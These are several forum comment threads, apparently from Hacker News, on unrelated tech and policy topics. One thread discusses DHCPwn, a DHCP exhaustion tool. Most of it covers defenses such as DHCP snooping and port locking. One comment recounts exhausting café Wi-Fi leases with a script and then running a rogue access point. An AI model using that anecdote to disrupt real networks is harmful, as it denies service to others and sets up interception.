<comment><USER17> SOPA represents a complete destruction of protections for free speech and due process on the internet. An allegation of wrong-doing is sufficient to trigger the government enforced complete shut-down of a website.

Why should anyone support that regardless of what sort of pretext is used to justify such an abuse of power? Should we round up all single adult males over the age of 40 out of a fear of pedophilia in order to "protect the children"?

<comment><USER18> (devil's advocate) Your analogy is bad because "rounding up" is something one Does Not Do Without Due Process, whereas deleting an intertube site is not. (America managed for 200 years without any intertubes at all, you know, so it can't be all that important.)

<comment><USER19> Perhaps take a look at the NDAA? Due process was just signed away. [http://boingboing.net/2012/01/03/missing-portion-of-obama- ho...](http://boingboing.net/2012/01/03/missing-portion-of-obama-hope.html)

<comment><USER20> The lack of outrage over this is...saddening.

</comment></comment></comment></comment></comment><comment><USER21> I mean, he invented the internet what else do you expect? :-)

<comment><USER21> There's really no sense of humor here, guys! Downvote me here too! :-)

<comment><USER22> Pro tip: Humor is better-appreciated when it's FUNNY. :)

<comment><USER23> That's what she said :(</comment></comment></comment></comment>


This is how Apple's top secret product development process works - <AUTHOR> http://thenextweb.com/apple/2012/01/24/this-is-how-apples-top-secret-product-development-process-works/

<comment><AUTHOR> One thing the article hints at but doesn't state overtly (the book probably does), is that another key strategic structural advantage Apple has over other companies of scale is that all of the P&L responsibilities reside ONLY at the CFO-level. No "business unit owner" below the CFO office has to account for his/her unit's profitability or losses.

What this means is Apple has the flexibility to allocate (or deallocate) resources much easier than other companies of similar size; make investments and have people working on developing future capabilities without having to worry about whether those efforts are immediately (or ever) profitable (ahem...AppleTV...ahem); realign business units and incentive structures to remove conflicting internal interests; and kill off a cash cow in favor of What's Next.</comment>


Do We Need to Reconsider Free Speech Law Due to Technology? - <AUTHOR> https://danielmiessler.com/blog/four-components-of-free-speech-risk/ <comment><USER2> I do not subscribe to this idea that we must limit speech in order to preserve free speech. While much of the arguments for this philosophy sound good on the surface it is very much the slippery slope.

The advent of the radio and other broadcast communication mechanisms caused this same stir and is part of the reason why we have the FCC. This kind of thought process translates our freedom of speech into freedom to listen. someone else is deciding the speakers and what they are free to speak about thus controlling the conversation. Once the conversation becomes one sided you don't know what you're missing.

The first amendment to the United States Constitution that seems very direct in its wording and that's often what people refer to but I much prefer the wording in the United Nations universal declaration of human Rights article 19.

"Everyone has the right to freedom of opinion and expression; this right includes freedom to hold opinions without interference and to seek, receive and impart information and ideas through any media and regardless of frontiers."

<comment><USER3> I agree. The problem is that some people arent equipped with the critical thinking skills needed to evaluate claims of truth. Education is the only sustainable solution.

So long as there is democracy, there is no getting around people having to make decisions based on incomplete and possibly bad information. Once any entity is given authority to punish people for their speech, that authority will innevitably be captured by special interests.

We need to be kicking education into gear, but instead we continue to defund it.

</comment></comment><comment><USER4> > _Audience Gullibility_

One wonders how this gentleman intends to successfully persuade the general public to agree that they should have their rights curtailed on the grounds that they are collectively too gullible[1] an audience to be allowed contact with ideas that those "wiser" and less gullible than them (presumably including Mr. Miessler himself) have deemed dangerous to their innocent minds. I suspect he will find the going difficult.

" _Beware those who would deny you access to information, for in their hearts, they dream themselves your masters._ " Though the quote's origin is in fiction, there are all too many real world examples of it.

[1] I'm not being pejorative; the phrase "audience gullibility" appears in the essay as of the four pillars of his argument.</comment>


The SQ3R Reading Method - <AUTHOR> http://www.studygs.net/texred2.htm <comment><USER2> Wow, thanks for triggering some memories from 20 years ago, haha. I am trying to remember where I first heard of this...grade 4 or 5?

<comment><USER3> Definitely brings back school day memories!</comment></comment>


YouTube - Developing iPhone Applications using Java - <AUTHOR> http://www.youtube.com/watch?v=s8nMpi5-P-I&feature=related <comment><USER2> Nifty, though having used both languages I don't know why you would want to use Java instead of Objective-C. Plus it's not the language that matters most, it's the Cocoa libraries, which you'll still need to use anyway (I suppose that could be an argument _for_ using whatever language you're comfortable with, but I feel Objective-C is particularly well suited for Cocoa)

It seems a little ridiculous to convert Java source code to Java bytecode to XML, then use XSLT to convert to Objective-C source code, but I guess if it works...

Also, there's a few inaccuracies:

a) Apple isn't just _planning_ on adding garbage collection to Objective-C, Objective-C 2.0 _already_ has it (though it's not available on iPhone, for whatever reason)

b) He says it's a downside that there's no strong compile time type checking, but really the warnings the compiler gives you that your class hierarchy doesn't implement a selector are pretty much equivalent to the Java compiler telling you it can't find a method. Just enable -Werror if you want to treat warnings as errors.

<comment><USER3> "Nifty, though having used both languages I don't know why you would want to use Java instead of Objective-C."

Perhaps to facilitate simultaneous development in other environments, like the BlackBerry Java DE.

<comment><USER2> It wasn't really clear from the talk, do they abstract away the Cocoa APIs so you're writing standard Java library calls, or is it just a language bridge where you still write to the Cocoa APIs using Java? If it's the latter, then there's really no cross platform advantage.</comment></comment></comment>


Buy O'Reilly Books by the Chapter - <AUTHOR> http://radar.oreilly.com/archives/2007/06/buy_oreilly_boo.html <comment><USER2> I feel reminded of those bonus coupons where you have to cut "points" from product packaging. Wasn't it calculated that doing that amounts to working for 7$/hour (joelonsoftware mentioned it: <http://www.joelonsoftware.com/articles/CamelsandRubberDuckies.html)?>

So it seems to me buying books by the chapter is so complicated that the time saved by just buying the whole book at once is almost worth as much as the savings from only buying parts of it.</comment>


Davis, California – the American city which fell in love with the bicycle - <AUTHOR> http://www.theguardian.com/cities/2015/aug/03/davis-california-the-american-city-which-fell-in-love-with-the-bicycle

<comment><USER2> Davis, California - the American city which fell in love with promoting itself ;-)</comment>


OpenRCT2 0.3 - <AUTHOR> https://openrct2.org/downloads/releases/latest <comment><USER2> Does anyone know the legal status of this project? I was pretty excited about it as it bills itself as a "re-implementation", but looking at the code like this for example [1] it seems suspiciously like a straight up disassembly/reverse engineering of the original. That would explain how they're able to keep the logic practically identical.

[1] [https://github.com/OpenRCT2/OpenRCT2/blob/develop/src/openrc...](https://github.com/OpenRCT2/OpenRCT2/blob/develop/src/openrct2/ride/coaster/WoodenRollerCoaster.cpp)

<comment><USER3> Same as OpenTTD. Both were disassembled and ported to C(++), which was viable since the games were written in assembly. So depending on which country you're in this may or may not be legal.

</comment></comment><comment><USER4> "Some anti-virus products may falsely report OpenRCT2 being unsafe"

nothing against this software, just pondering over this ... what would prevent a malicious software to make a similar claim, and if we always trust the software we download, wouldnt that reduce the amount of reasons to use anti virus software in the first place?

<comment><USER5> I suspect it may relate to the way it accesses other executable file directories - it scans for the RCT2 data files, which are in another executables folder structure, so rather than just sticking to the install folder and the shared documents area, it's looking at other files, which could reasonably trigger a virus scanner looking for "weird" behaviour.

<comment><USER6> Virus scanner false positives are slowly becoming my personal hell. From my experience, they aren't even remotely anything as sophisticated as you suggest, but the fact that people believe that antivirus software can actually do this kind of analysis helps the vendors sell their snake oil. If they would be triggered by any actual behavior, changing random compiler flags wouldn't usually remove the false positive. But you have to do that kind of tinkering, or users will be scared.</comment></comment></comment>


Responsive design and JavaScript - <AUTHOR> http://www.quirksmode.org/blog/archives/2011/09/responsive_desi.html

<comment><USER2> I'll stick my neck out here and say:

No.

"Graceful degradation" and "progressive enhancement" have mostly been utter failures. Yes, they're possible, and a few sites and designers even manage to do them well without spending wads of money. But, for everyone else, it just represents an additional layer of effort without any direct benefit to themselves.

There's a point at which we should accept that our pontifications about the "ideal" design, engineered for every conceivable device and screen resolution and software platform, is just completely impractical for the majority of designers and developers.

Developers already are expected to make sites work:

\- with and without Javascript;

\- with IE 6 - 8, Firefox 2 - 7, Safari, Opera, Chrome, and every other two- bit browser out there;

\- with readable text and fonts on systems that may or may not have particular or even common fonts installed, including Linux which can render even decent fonts nearly illegible and including the font-weight differences between MacOS and Windows;

\- on screen resolutions varying from 800 x 600 to OMG x AreYouKiddingMe, without horizontal scrolling or wasting lots of screen real estate;

\- without compromising people with disabilities or screen readers.

Did I miss anything?

I think these are unrealistic expectations, and I submit as evidence the great majority of websites online -- including the professionally-designed ones -- which fail catastrophically on at least one of those points.

Now, we're to be expected to make these same sites, using the same general design, work on devices with ittybitty screens and radically different physical interfaces?

No.

Here's what I hope happens instead: I hope that the concept of the CMS gets extended a little bit and begins to do a better job of abstracting the content from the design, so that sites can easily manage two or more completely different presentations designed for specific devices. (I understand Wordpress already does something like this?)

You'll have your blog or what-have-you, and your blog will have a mobile version, and a desktop version, and they will be completely and totally 100% separated from and independent of each-other.

Because any attempts to make a desktop design work at all on mobile devices without compromising the advantages of the desktop is going to result in much gnashing of teeth.

edit: I meant to add that I think the "right" way to do this is to continue to make the desktop version of a site the default, at least for now, and then check the user-agent of the request _on the server_. Let the server handle which layout to serve up, not Javascript, and if a mobile user changes the user-agent on their mobile browser to something which will break sites, then they should expect to get broken sites.

<comment><USER3>
      > Now, we're to be expected to make these same sites, using the same general design,
      > work on devices with ittybitty screens and radically different physical interfaces?

No, we are not expected that. However you can have the same theme for your desktop, tablet, mobile version and _the same_ content.

      > You'll have your blog or what-have-you, and your blog will have a mobile version,
      > and a desktop version, and they will be completely and totally 100% separated from
      > and independent of each-other.

Oh no. This failed miserably with "accessible versions" of sites before. In most cases the moment you start to separate your content you already blew it. We already have tools to separate content and markup from design. We have CSS media queries. There are some problems (e.g. images), but otherwise we can already make it work. Google for responsive web design, adaptive web design: there is something to learn.

      > I think the "right" way to do this is to continue to make the desktop version of a site
      > the default

Take a look: <http://www.lukew.com/ff/entry.asp?933>

      > and then check the user-agent of the request on the server

Sometimes useful, bet generally a bad idea.

      > Let the server handle which layout to serve up, not Javascript

That's CSS job, not Javascript's: <http://www.alistapart.com/articles/responsive-web-design/>

<comment><USER2> Thanks, I somehow didn't know about css media queries. That _almost_ makes CSS an appropriate solution to this problem.

Almost.

</comment></comment></comment><comment><USER4> One thing the OP overlooks is that high res images allow for resolution to be maintained when the user does pinch-to-zoom. Perhaps, downloading these larger images is actually a necessity.

<comment><USER5> Really great point. Maybe load the low res version initially and then predictively load higher resolutions as the gesture proceeds and fade between them to compensate for the latency.

</comment></comment><comment><USER5> I prefer designing desktop and mobile in parallel rather than one before the other. Cycling between the two seems to bring up the constraints on the ui and compromises that need to be made more quickly than proceeding one to the other. Wrote more here: <http://tldr.person.sh/resource-limited-responsive- design>

</comment><comment><USER6> I like the sound of this, but I'm stuck on: "Are we OK with serving noscript desktop users what is essentially the mobile version of our site, small images and all?"

<comment><USER7> Small/low-res images? Possibly.

Mobile-only? No. There are media selectors for device widths.

<comment><USER6> Interesting! Thanks for pointing out screen-size media selectors. Given how on top of CSS quirksmode usually is, I wonder if there is some problem with using screen-size media selectors on mobile devices.

</comment></comment></comment><comment><USER8> Ethan Marcotte and PPK going back and forth about responsive design? Our children will look back at this post in awe.</comment>


Ask HN: What Is Google's Endgame? - <AUTHOR> I tried using gmail on Firefox using Linux Ubuntu. Couldn't, had to use old layout.<p>What is google end game? Having monopoly on OS (Android), Browser (become more centralised around google websites and data) is becoming like a browser as a service. <comment><USER2> Gmail web works perfectly for me with the most recent design, using Firefox 65 on Arch Linux. Are you sure your Firefox is up to date?

<comment><AUTHOR> OK I am stupid, that was the problem. Thank you so much.</comment></comment>


DHCPwn: A DHCP exhaustion tool - <AUTHOR> https://github.com/mschwager/dhcpwn <comment><USER2> DHCP Consumption Attack is nothing new and prevented on enterprise level switches and routers using DHCP Snooping and Dynamic ARP Inspection (DAI). anyone interested in reading upon this sort of attack, cisco has a good white paper on it here. [http://www.cisco.com/c/en/us/products/collateral/switches/ca...](http://www.cisco.com/c/en/us/products/collateral/switches/catalyst-6500-series- switches/white_Paper_C11_603833.html)

</comment><comment><USER3> This is nothing new, and won't work in any properly configured environment using DHCP Snooping.

It's also a bit dubious to claim that DHCP is connectionless. It takes 4 packets to complete a DHCP request. While maybe not connection oriented, it's definitely at least a handshake.

I've written numerous packet generators to test DHCP servers, and DHCP Snooping implementations. This is really nothing new.

<comment><USER4> DHCP snooping prevents rogue DHCP servers. I have only seen a handful of switches in orgs configured for hard limits MAC/lease per port. OOB most things will dish up leases at will, how else are folks spinning up countless bridged VMs, containers, etc in workstations.

I appreciate you sharing that it doesn't seem new to you, could you share some of your examples so we can learn from your experience also?

<comment><USER3> DHCP snooping can do different things dependening on how it's configured. It can prevent ARP spoofing attacks, or DHCP server exhaustion, by limiting the amount of source IPs that can ingress a given port on a switch.

To prevent this program from doing its evil, DHCP snooping could be configured to only allow one source IP address on a port. In fact, to prevent this kind of attack you don't even need DHCP snooping. Since it requires MAC spoofing you can configure the switch to only learn one MAC on that port, or only allow frames with a limited number of MACs to ingress the switch.

Hope this helps.

A while back I wrote opensourced some code I wrote for work that emulated IGMPv2 behavior of triple-play set top boxes. It's meant to stress IGMPv2 implementations, but it also emultates multiple DHCP clients. [https://github.com/smutt/mcastClients/blob/master/mcastClien...](https://github.com/smutt/mcastClients/blob/master/mcastClients.py)

</comment></comment></comment><comment><USER5> This is a real threat in today's BYOD world, fortunately it can be easily defeated on the most basic of network switches. Cisco SG300s (fairly common distribution switches) have classic port locking and would be the simplest solution. 802.1x would be significantly more complicated, but provides other benefits. Something like PacketFence would be the ultimate solution.

Remember, not all of your enemies are outside your firewall!

</comment><comment><USER6> Since this is just sending out DISCOVERs and never REQUESTs on any OFFERs that come back, servers can technically reuse IPS from outstanding offers:

[https://tools.ietf.org/html/rfc2131#page-31](https://tools.ietf.org/html/rfc2131#page-31)

          Because the servers have not committed any network address assignments on
          the basis of a DHCPOFFER, servers are free to reuse offered
          network addresses in response to subsequent requests.  As an
          implementation detail, servers SHOULD NOT reuse offered addresses
          and may use an implementation-specific timeout mechanism to decide
          when to reuse an offered address.

I'm curious if common DHCP servers like dnsmasq actually do reuse IPs from pending OFFERs, and what timeout they have, if any, before reuse. I poked around dnsmasq config but I did see any specific tuning for that.

</comment><comment><USER7> Looks like it's a very thin wrapper around scapy: [http://www.secdev.org/projects/scapy/](http://www.secdev.org/projects/scapy/)

</comment><comment><USER8> Somewhat related to this, yay for SLAAC on IPv6. DHCP is only used for auxiliary info like DNS servers, search suffix, etc. This is known is DHCP Lite.

</comment><comment><USER9> I assume most guest wifi has some protection against this, if not, well shame on them.

<comment><USER10> This was an old trick to use at places with slow wifi. Exhaust the DHCP database with a short perl script. Everyone comes in asking why the wifi isn't working while you're still plugging away. Of course, the staff can 'fix it' by rebooting the router but eventually they'd quit because it only solves it for a few minutes.

At this point you can start your own rogue AP and people will join that.

These days it seems like most shops converted over to AP's that use wireless network segregation and are smart enough to not let one of those networks gobble up > 1 address.

<comment><USER11> >smart enough to not let one of those networks gobble up > 1 address //

If you spoof your MAC then how would they know to only give one address?

From the OP:

>"Depending on the server's method of releasing IP addresses associated with a given MAC address this attack will either be more, or less effective. For example, if a server quickly releases allocations that it doesn't receive responses from, the attack will be less effective."

Why not respond to the responses on all those MACs then, surely in promiscuous mode you could send responses (and even fake a little traffic) for each MAC used. My home router is preconfigured to allow only 253 connections (lease time 1 day) - seems you could easily mess with SOHO routers with this?

<comment><USER12> > My home router is preconfigured to allow only 253 connections (lease time 1 > day)...

Why is your lease time so very, very long? Why not set it to something like 60 or 30 minutes?

IIRC, devices will start renewing their leases long before they get to the expiry period, so it's not as if short leases do anything more than substantially increase what is almost certainly a _minuscule_ amount of traffic on your LAN.

<comment><USER13> My laptops are often asleep for more than 60 minutes at a time. When I open them up, I expect network availability pretty much _immediately_ (I am rather impatient), and (preferably) my SSH sessions intact.

If I set my DHCP server's lease time as you suggest, I would often have to wait several seconds for my laptop to reacquire an address after waking up if there was any packet loss in the DHCP handshake, and if I happened to get a different IP, my SSH sessions would die. Seeing as 99.9% of device-hours logged on my router are the same four devices, I have no reason _not_ to have a long lease time (3 days, my router's default). It's not like I'm running a Starbucks.

<comment><USER12> > If I set my DHCP server's lease time as you suggest, I would often have to > wait several seconds for my laptop to reacquire an address after waking up > if there was any packet loss in the DHCP handshake...

Odd. My non-systemd machine gets an address _long_ before I'm able to unlock the lock screen... and I'm a fast typer. It's entirely possible that my machine is an outlier, tho. :)

> ...and if I happened to get a different IP, my SSH sessions would die.

You don't have "static leases" for all of your known devices that live in a range that's not served to unknown devices?

Anyway. Here's hoping that I hear from pbhjpbhj. :)

</comment></comment></comment></comment></comment></comment><comment><USER14> It must be the holidays, where the experienced netops spend time away from HN and trivial poc's for old well-known attacks get upvotes.

</comment><comment><USER15> scapy is awesome.

</comment><comment><USER4> PoCs like this are cool. This is a valid and potentially catastrophic attack against network segments. One should study and consider countermeasures against such attacks on your turf. Python and Scapy are super cool and if you haven't had a play it's well worth your time.

<comment><USER14> I wouldn't be surprised if you were a markov chain.

<comment><USER16> That's not a very nice thing to say.

<comment><USER17> Only in CS circles haha.</comment></comment></comment></comment>


EndDash - <AUTHOR> http://www.enddash.com

<comment><USER2> The "Welcome Sir/Madam Hacker" thing is kinda cute.

<comment><USER3> Haha, just got that too. Tried to cause an alert.

</comment></comment><comment><USER4> This is probably due to my naivety, but it seems like there have been a lot of new libraries recently that are basically "Knockout with slightly different syntax". But Knockout is robust, well tested, has excellent browser support, has excellent documentation, and is under active development. Why should I be eager to discard it?

</comment><comment><USER5> 70k is pretty big, especially given it needs jquery, underscore and backbone as well.

Knockout and Ractive each give you much the same thing at only 40k and 32k and without the dependencies.

<comment><USER6> We're using browserify for the dist files, which pulls backbone and underscore in. It's actually 33k by itself.

We're also in the process of getting rid of those as hard dependencies (jquery, underscore, backbone).

EDIT: Those figures for knockout and ractive include gziping. GZIPed end-dash is only 10k.

</comment></comment><comment><USER7> how's this compared to angularJS or any other kind of javascript single page application?

</comment><comment><USER8> Original post: [https://news.ycombinator.com/item?id=6755576](https://news.ycombinator.com/item?id=6755576)

<comment><AUTHOR> Whoops, sorry about that. Didn't realize it was already posted.

<comment><USER8> Sorry, wasn't trying to be snarky, just wanted to make sure the original discussion was included with the new discussion. I am actually glad you reposted it, it didn't spend as long on the front page yesterday as I thought it should have.

</comment></comment></comment><comment><USER9> Aww, they don't even let me find out conveniently if it's open to XSS attacks/HTML injection!

<comment><USER10> What if my name is /<.*>/? :(

<comment><USER11> Then you had insightful, if rather cruel, parents.

</comment></comment></comment><comment><USER12> So, what exactly is _a two-way binding javascript templating framework built on top of semantic HTML_?

<comment><USER13> I can't help but think of the two-way petting zoo scene from the Office. Now I'm scared EndDash is going to try to bind with me...

</comment></comment><comment><USER14> Just to note, OP is the creator of Backbone. Subtle endorsement?

<comment><AUTHOR> Not really ... just thought that it had a neat API, and was nicely implemented: [https://github.com/Amicus/end- dash/tree/master/lib](https://github.com/Amicus/end-dash/tree/master/lib)

There a bunch of two-way-binding plugins for Backbone, if that sort of thing is your cup of tea — and some of them are really well done. Apart from EndDash, some of my favorites are:

Stickit: [http://nytimes.github.io/backbone.stickit/](http://nytimes.github.io/backbone.stickit/)

Rivets.js: [http://rivetsjs.com](http://rivetsjs.com)

component/reactive: [https://github.com/component/reactive](https://github.com/component/reactive)

</comment></comment><comment><USER15> Angular for Backbone!</comment>